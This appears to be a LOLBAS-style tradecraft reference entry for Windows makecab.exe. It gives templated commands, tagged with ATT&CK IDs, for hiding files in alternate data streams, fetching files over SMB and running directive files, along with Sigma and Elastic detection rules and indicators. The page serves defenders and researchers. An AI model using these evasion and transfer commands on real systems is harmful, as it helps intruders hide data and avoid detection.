LOLBAS01 / TRADECRAFT
4 examplesCommand reference
ADS2
EXAMPLE 01T1564.004
Compresses the target file into a CAB file stored in the Alternate Data Stream (ADS) of the target file.
COMMAND
makecab {PATH_ABSOLUTE:.exe} {PATH_ABSOLUTE}:autoruns.cabEXAMPLE 02T1564.004
Compresses the target file into a CAB file stored in the Alternate Data Stream (ADS) of the target file.
COMMAND
makecab {PATH_SMB:.exe} {PATH_ABSOLUTE}:file.cabDownload1
EXAMPLE 01T1105
Download and compresses the target file and stores it in the target file.
COMMAND
makecab {PATH_SMB:.exe} {PATH_ABSOLUTE:.cab}Execute1
EXAMPLE 01T1036
Execute makecab commands as defined in the specified Diamond Definition File (.ddf); see resources for the format specification.
COMMAND
makecab /F {PATH:.ddf}02 / ON DISK
Known paths
C:\Windows\System32\makecab.exeC:\Windows\SysWOW64\makecab.exe03 / DEFENSIVE INTELLIGENCE
2 resourcesDetection & indicators
- Sigmaproc_creation_win_susp_alternate_data_streams.ymlgithub.com
- Elasticdefense_evasion_misc_lolbin_connecting_to_the_internet.tomlgithub.com
Indicators & detection notes
- IOC
Makecab retrieving files from Internet
- IOC
Makecab storing data into alternate data streams
FURTHER READING
Research & resources
COMMUNITY RESEARCH
Acknowledgements
Oddvar Moe@oddvarmoe